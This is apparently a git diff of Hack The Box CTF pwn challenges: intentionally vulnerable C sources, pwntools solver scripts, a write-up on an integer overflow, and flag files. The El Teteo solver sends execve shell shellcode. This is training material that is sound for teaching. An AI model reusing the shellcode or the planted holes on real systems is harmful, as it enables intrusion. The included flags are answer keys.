b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/htb/glibc/ld-linux-x86-64.so.2 new file mode 100755 index 0000000..42e4351 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/htb/glibc/ld-linux-x86-64.so.2 differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/htb/glibc/libc.so.6 b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/htb/glibc/libc.so.6 new file mode 100755 index 0000000..36bcf67 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/htb/glibc/libc.so.6 differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/htb/solver.py b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/htb/solver.py new file mode 100755 index 0000000..b988139 --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/htb/solver.py @@ -0,0 +1,33 @@ +#!/usr/bin/python3 +from pwn import * +import warnings +import os +warnings.filterwarnings('ignore') +context.arch = 'amd64' +context.log_level = 'critical' + +fname = './el_teteo' + +LOCAL = False + +os.system('clear') + +if LOCAL: + print('Running solver locally..\n') + r = process(fname) +else: + IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0' + PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337 + r = remote(IP, PORT) + print(f'Running solver remotely at {IP} {PORT}\n') + +# Shellcode from https://shell-storm.org/shellcode/files/shellcode-806.html +sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + +# Send shellcode +r.sendlineafter('>', sc) + +# Get flag +pause(1) +r.sendline('cat flag*') +print(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}\n') diff --git a/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/release/pwn_el_teteo.zip b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/release/pwn_el_teteo.zip new file mode 100644 index 0000000..6a4d2be Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/release/pwn_el_teteo.zip differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/src/Makefile b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/src/Makefile new file mode 100644 index 0000000..6bc4f97 --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/src/Makefile @@ -0,0 +1,16 @@ +# Name of PROG and CFLAGS shall be changed. + +PROG = el_teteo# CHANGE THIS +SRC = main.c +CFLAGS = -fstack-protector-all -z execstack -Wl,-z,relro,-z,now -w -Xlinker -rpath=./glibc/ -Xlinker -I./glibc/ld-linux-x86-64.so.2 + +all: compile + +compile: + @echo "Compiling $(SRC) -> $(PROG)" + gcc $(SRC) -o $(PROG) $(CFLAGS) + +clean: + rm -f $(PROG) + + diff --git a/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/src/glibc/ld-linux-x86-64.so.2 b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/src/glibc/ld-linux-x86-64.so.2 new file mode 100755 index 0000000..42e4351 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/src/glibc/ld-linux-x86-64.so.2 differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/src/glibc/libc.so.6 b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/src/glibc/libc.so.6 new file mode 100755 index 0000000..36bcf67 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/src/glibc/libc.so.6 differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/src/main.c b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/src/main.c new file mode 100644 index 0000000..03b9ff2 --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/src/main.c @@ -0,0 +1,82 @@ +#include +#include +#include +#include + +#define RED "\e[1;31m" +#define GREEN "\e[1;32m" +#define YELLOW "\e[1;33m" +#define BLUE "\e[1;34m" +#define MAGENTA "\e[1;35m" +#define CYAN "\e[1;36m" +#define LIGHT_GRAY "\e[1;37m" +#define RESET "\e[0m" + +void cls() { + printf("\033[2J"); + printf("\033[%d;%dH", 0, 0); +} + +void printstr(char *s) { + for (size_t i = 0; i < strlen(s); i++){ + putchar(s[i]); + usleep(15000); + } +} + +int main(void) { + cls(); + char *col[7] = {YELLOW, CYAN, GREEN, RED, BLUE, MAGENTA, LIGHT_GRAY}; + srand(time(NULL)); + printf("%s", col[rand() % 6]); + printf("" + "%s░▒▓████████▓▒░▒▓█▓▒░ ░▒▓████████▓▒░▒▓████████▓▒░▒▓████████▓▒░▒▓████████▓▒░▒▓██████▓▒░\n" + "%s░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░\n" + "%s░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░\n" + "%s░▒▓██████▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓██████▓▒░ ░▒▓█▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░\n" + "%s░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░\n" + "%s░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░\n" + "%s░▒▓████████▓▒░▒▓████████▓▒░ ░▒▓█▓▒░ ░▒▓████████▓▒░ ░▒▓█▓▒░ ░▒▓████████▓▒░▒▓██████▓▒░\n\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠈⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⠀⠀⣹⣿⣿⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣀⠀⠙⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⣀⣤⣶⣿⣿⣿⣿⠃⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠈⠻⣿⣿⣿⣿⣿⣿⣿⣶⣾⣿⣿⣿⣿⣿⣿⣷⣶⣿⣿⣿⣿⣿⣿⡟⠁⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⣤⣀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⢸⣿⣿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠋⢿⡟⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⠀⠀⠈⠛⠁⠀⠀⠀⠉⢿⣿⡟⠛⠉⠉⠙⣿⣿⠁⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⠀⠀⠀⠀⠀⣠⡄⠀⠘⠟⠀⠀⢀⡄⠀⠈⠃⠀⣸⣷⣄⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣤⣀⣠⣾⣿⡇⠀⠀⠀⠀⢀⣾⣿⡄⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣤⣄⣀⣀⣾⣿⣿⣿⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n\n", col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6] ); + + printstr("[!] I will do whatever you want, nice or naughty..\n\n> "); + + char shellcode[0x20] = {0}; + read(0, shellcode, 0x20 - 1); + + (*(void(*)())shellcode)(); + + return 0; +} + +__attribute__((constructor)) +void setup(void) { + cls(); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stdout, NULL, _IONBF, 0); + alarm(0x1312); +} \ No newline at end of file diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/Dockerfile b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/Dockerfile new file mode 100644 index 0000000..b71ec3e --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/Dockerfile @@ -0,0 +1,8 @@ +FROM alpine:latest +RUN apk add --no-cache socat dash && ln -sf /usr/bin/dash /bin/sh +EXPOSE 1337 +RUN addgroup -S ctf && adduser -S ctf -G ctf +COPY challenge/ /home/ctf/ +WORKDIR /home/ctf +USER ctf +CMD ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:./mathematricks"] diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/README.md b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/README.md new file mode 100644 index 0000000..21d1c65 --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/README.md @@ -0,0 +1,245 @@ +![](assets/banner.png) + + + + Mathematricks + +​ 9th September 2024 / Document No. DYY.102.XX + +​ Prepared By: w3th4nds + +​ Challenge Author(s): w3th4nds + +​ Difficulty: Very Easy + +​ Classification: Official + + + + + +# Synopsis + +Mathematricks is a very easy difficulty challenge that features integer overflow vulnerability. + +# Description + +How about a magic trick? Or a math trick? Beat me and I will give you an amazing reward! + +## Skills Required + +- Basic C. + +## Skills Learned + +- Integer Overflow. + +# Enumeration + +First of all, we start with a `checksec`: + +```console +pwndbg> checksec +Arch: amd64 +RELRO: Full RELRO +Stack: Canary found +NX: NX enabled +PIE: PIE enabled +RUNPATH: b'./glibc/' +``` + +### Protections 🛡️ + +As we can see, all protection are enabled: + +| Protection | Enabled | Usage | +| :---: | :---: | :---: | +| **Canary** | ✅ | Prevents **Buffer Overflows** | +| **NX** | ✅ | Disables **code execution** on stack | +| **PIE** | ✅ | Randomizes the **base address** of the binary | +| **RelRO** | **Full** | Makes some binary sections **read-only** | + +The program's interface + +![](assets/inter.png) + +![](assets/inter1.png) + +The challenge seems to have only 4 questions. The first 3 are pretty easy, leaving only the last one a bit more tricky. Well, without imaginary numbers, it's not possible to achieve the result of `(n1, n2) > 0 && (n1 + n2) < 0`. In `C` though, there is a limit to the integer values we can enter. + +### Disassembly + +Starting with `main()`: + +```c +00001925 int32_t main(int32_t argc, char** argv, char** envp) + +00001925 { +0000193a void* fsbase; +0000193a int64_t var_10 = *(uint64_t*)((char*)fsbase + 0x28); +00001940 banner(); +0000194a while (true) +0000194a { +0000194a uint64_t rax_3 = menu(); +00001953 if (rax_3 == 1) +00001953 { +00001962 game(); +00001962 /* no return */ +00001953 } +00001959 if (rax_3 != 2) +00001959 { +00001959 break; +00001959 } +0000196e rules(); +0000194a } +0000198e printf("%s\n\t\t\t[???????????]\n\n", "\x1b[1;31m"); +00001998 exit(0x520); +00001998 /* no return */ +00001925 } +``` + +We see a call to `game()`. Taking a look at this: + +```c +00001700 void game() __noreturn + +00001700 { +00001715 void* fsbase; +00001715 int64_t var_10 = *(uint64_t*)((char*)fsbase + 0x28); +00001725 printstr(&data_2180); +00001734 printstr("\t\tQ1: 1 + 1 = ?\n\n\t\t> "); +00001747 if (read_num() != 2) +00001747 { +00001753 printstr("\n\t\t[!] Elementary school open…"); +0000175d exit(0x520); +0000175d /* no return */ +00001747 } +00001785 printf("\n\t\t%s[+] THAT WAS AMAZING!\n\n…", "\x1b[1;32m", "\x1b[1;34m"); +00001794 printstr("\t\tQ2: 2 - 1 = ?\n\n\t\t> "); +000017a7 if (read_num() != 1) +000017a7 { +000017b3 printstr("\n\t\t[!] Elementary school open…"); +000017bd exit(0x520); +000017bd /* no return */ +000017a7 } +000017e5 printf("\n\t\t%s[+] WE HAVE A MATHEMATIC…", "\x1b[1;32m", "\x1b[1;36m"); +000017f4 printstr("\t\tQ3: 1337 - 1337 = ?\n\n\t\t> "); +00001806 if (read_num() != 0) +00001806 { +00001812 printstr("\n\t\t[!] High school opens at 0…"); +0000181c exit(0x520); +0000181c /* no return */ +00001806 } +00001844 printf("\n\t\t%s[+] GOD OF MATHS JUST EN…", "\x1b[1;32m", "\x1b[1;34m"); +00001853 printstr("\t\tQ4: Enter 2 numbers n1, n2 w…"); +0000185d uint64_t n1 = read_num(); +00001870 printstr("\n\t\tn2: "); +0000187a uint64_t n2 = read_num(); +0000189e if ((n1 > 0 && n2 > 0)) +0000189e { +000018bd if ((n2 + n1) >= 0) +000018bd { +000018d5 printstr("\n\t\t[!] Hacking school opens a…"); +000018bd } +000018bd else +000018bd { +000018c4 read_flag(); +000018bd } +000018df exit(0x520); +000018df /* no return */ +0000189e } +000018aa printstr("\n\t\t[!] Hacking school opens a…"); +000018b4 exit(0x520); +000018b4 /* no return */ +00001700 } +``` + +First of all, we can see the answers of the first 3 questions. Then, for the last question, we need to take into consideration this part of code: + +```c +00001853 printstr("\t\tQ4: Enter 2 numbers n1, n2 w…"); +0000185d uint64_t n1 = read_num(); +00001870 printstr("\n\t\tn2: "); +0000187a uint64_t n2 = read_num(); +0000189e if ((n1 > 0 && n2 > 0)) +0000189e { +000018bd if ((n2 + n1) >= 0) +000018bd { +000018d5 printstr("\n\t\t[!] Hacking school opens a…"); +000018bd } +000018bd else +000018bd { +000018c4 read_flag(); +000018bd } +000018df exit(0x520); +000018df /* no return */ +0000189e } +000018aa printstr("\n\t\t[!] Hacking school opens a…"); +000018b4 exit(0x520); +000018b4 /* no return */ +00001700 } +``` + +The crucial part here is that these 2 numbers are `uint64_t`, meaning they are `unsigned int` for 64-bit. This is probably a fault of the decompiler, because in the source code (it's not provided, just for demonstration purposes), we can see that indeed these 2 numbers are `unsigned` but the result is a `signed 32` or `int32_t`. + +```c + int64_t n1, n2; + printstr("\t\tQ4: Enter 2 numbers n1, n2 where n1 > 0 and n2 > 0 and n1 + n2 < 0\n\n\t\tn1: "); + n1 = read_num(); + printstr("\n\t\tn2: "); + n2 = read_num(); + int32_t n3 = n1 + n2; + if (n1 <= 0 || n2 <= 0) { + printstr("\n\t\t[!] Hacking school opens at 13:37 AM, don't miss it!\n\n"); + exit(1312); + } + (n3 < 0) ? read_flag() : printstr("\n\t\t[!] Hacking school opens at 13:37 AM, don't miss it!\n\n"); + exit(1312); +} +``` + +Taking a look at the `INT_MAX` value in `C`: + +![](assets/int.png) + +If we try to store this value to one of the numbers, and something else to the other, we can achieve an `Integer Overflow` and get the flag. + +# Solution + +```python +#!/usr/bin/python3 +from pwn import * +import warnings +import os +warnings.filterwarnings('ignore') +context.arch = 'amd64' +context.log_level = 'critical' + +fname = './mathematricks' + +LOCAL = False + +os.system('clear') + +if LOCAL: + print('Running solver locally..\n') + r = process(fname) +else: + IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0' + PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337 + r = remote(IP, PORT) + print(f'Running solver remotely at {IP} {PORT}\n') + +sla = lambda x,y : r.sendlineafter(x,y) + +sla('🥸 ', '1') # play game + +# Questions +sla('> ', '2') +sla('> ', '1') +sla('> ', '0') +sla('n1: ', '2147483647') # INT_MAX +sla('n2: ', '1337') + +print(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}\n') +``` diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/Screenshot from 2024-09-06 20-45-21.png b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/Screenshot from 2024-09-06 20-45-21.png new file mode 100644 index 0000000..bc40a9b Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/Screenshot from 2024-09-06 20-45-21.png differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/banner.png b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/banner.png new file mode 100644 index 0000000..bce6111 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/banner.png differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/htb.png b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/htb.png new file mode 100644 index 0000000..fe73253 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/htb.png differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/int.png b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/int.png new file mode 100644 index 0000000..15376c3 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/int.png differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/inter.png b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/inter.png new file mode 100644 index 0000000..c04bd59 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/inter.png differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/inter1.png b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/inter1.png new file mode 100644 index 0000000..84053ab Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/inter1.png differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/poc.png b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/poc.png new file mode 100644 index 0000000..5dcf7e0 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/poc.png differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/build-docker.sh b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/build-docker.sh new file mode 100755 index 0000000..523593b --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/build-docker.sh @@ -0,0 +1,3 @@ +#!/bin/sh +docker build --tag=mathematricks . +docker run -it -p 1337:1337 --rm --name=mathematricks mathematricks diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/challenge/flag.txt b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/challenge/flag.txt new file mode 100644 index 0000000..104a839 --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/challenge/flag.txt @@ -0,0 +1 @@ +HTB{m4th3m4tINT_5tuff} diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/challenge/glibc/ld-linux-x86-64.so.2 b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/challenge/glibc/ld-linux-x86-64.so.2 new file mode 100755 index 0000000..8ef4df1 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/challenge/glibc/ld-linux-x86-64.so.2 differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/challenge/glibc/libc.so.6 b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/challenge/glibc/libc.so.6 new file mode 100755 index 0000000..4b60044 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/challenge/glibc/libc.so.6 differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/challenge/mathematricks b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/challenge/mathematricks new file mode 100755 index 0000000..d60cd4d Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/challenge/mathematricks differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/htb/glibc/ld-linux-x86-64.so.2 b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/htb/glibc/ld-linux-x86-64.so.2 new file mode 100755 index 0000000..8ef4df1 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/htb/glibc/ld-linux-x86-64.so.2 differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/htb/glibc/libc.so.6 b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/htb/glibc/libc.so.6 new file mode 100755 index 0000000..4b60044 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/htb/glibc/libc.so.6 differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/htb/mathematricks b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/htb/mathematricks new file mode 100755 index 0000000..0ed3fe1 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/htb/mathematricks differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/htb/solver.py b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/htb/solver.py new file mode 100755 index 0000000..3dc0763 --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/htb/solver.py @@ -0,0 +1,35 @@ +#!/usr/bin/python3 +from pwn import * +import warnings +import os +warnings.filterwarnings('ignore') +context.arch = 'amd64' +context.log_level = 'critical' + +fname = './mathematricks' + +LOCAL = False + +os.system('clear') + +if LOCAL: + print('Running solver locally..\n') + r = process(fname) +else: + IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0' + PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337 + r = remote(IP, PORT) + print(f'Running solver remotely at {IP} {PORT}\n') + +sla = lambda x,y : r.sendlineafter(x,y) + +sla('🥸 ', '1') # play game + +# Questions +sla('> ', '2') +sla('> ', '1') +sla('> ', '0') +sla('n1: ', '2147483647') # INT_MAX +sla('n2: ', '1337') + +print(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}\n') \ No newline at end of file diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/release/pwn_mathematricks.zip b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/release/pwn_mathematricks.zip new file mode 100644 index 0000000..a19a163 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/release/pwn_mathematricks.zip differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/src/Makefile b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/src/Makefile new file mode 100644 index 0000000..dbd324c --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/src/Makefile @@ -0,0 +1,16 @@ +# Name of PROG and CFLAGS shall be changed. + +PROG = mathematricks # CHANGE THIS +SRC = main.c +CFLAGS = -fstack-protector-all -Wl,-z,relro,-z,now -w -Xlinker -rpath=./glibc/ -Xlinker -I./glibc/ld-linux-x86-64.so.2 + +all: compile + +compile: + @echo "Compiling $(SRC) -> $(PROG)" + gcc $(SRC) -o $(PROG) $(CFLAGS) + +clean: + rm -f $(PROG) + + diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/src/glibc/ld-linux-x86-64.so.2 b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/src/glibc/ld-linux-x86-64.so.2 new file mode 100755 index 0000000..8ef4df1 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/src/glibc/ld-linux-x86-64.so.2 differ diff --git 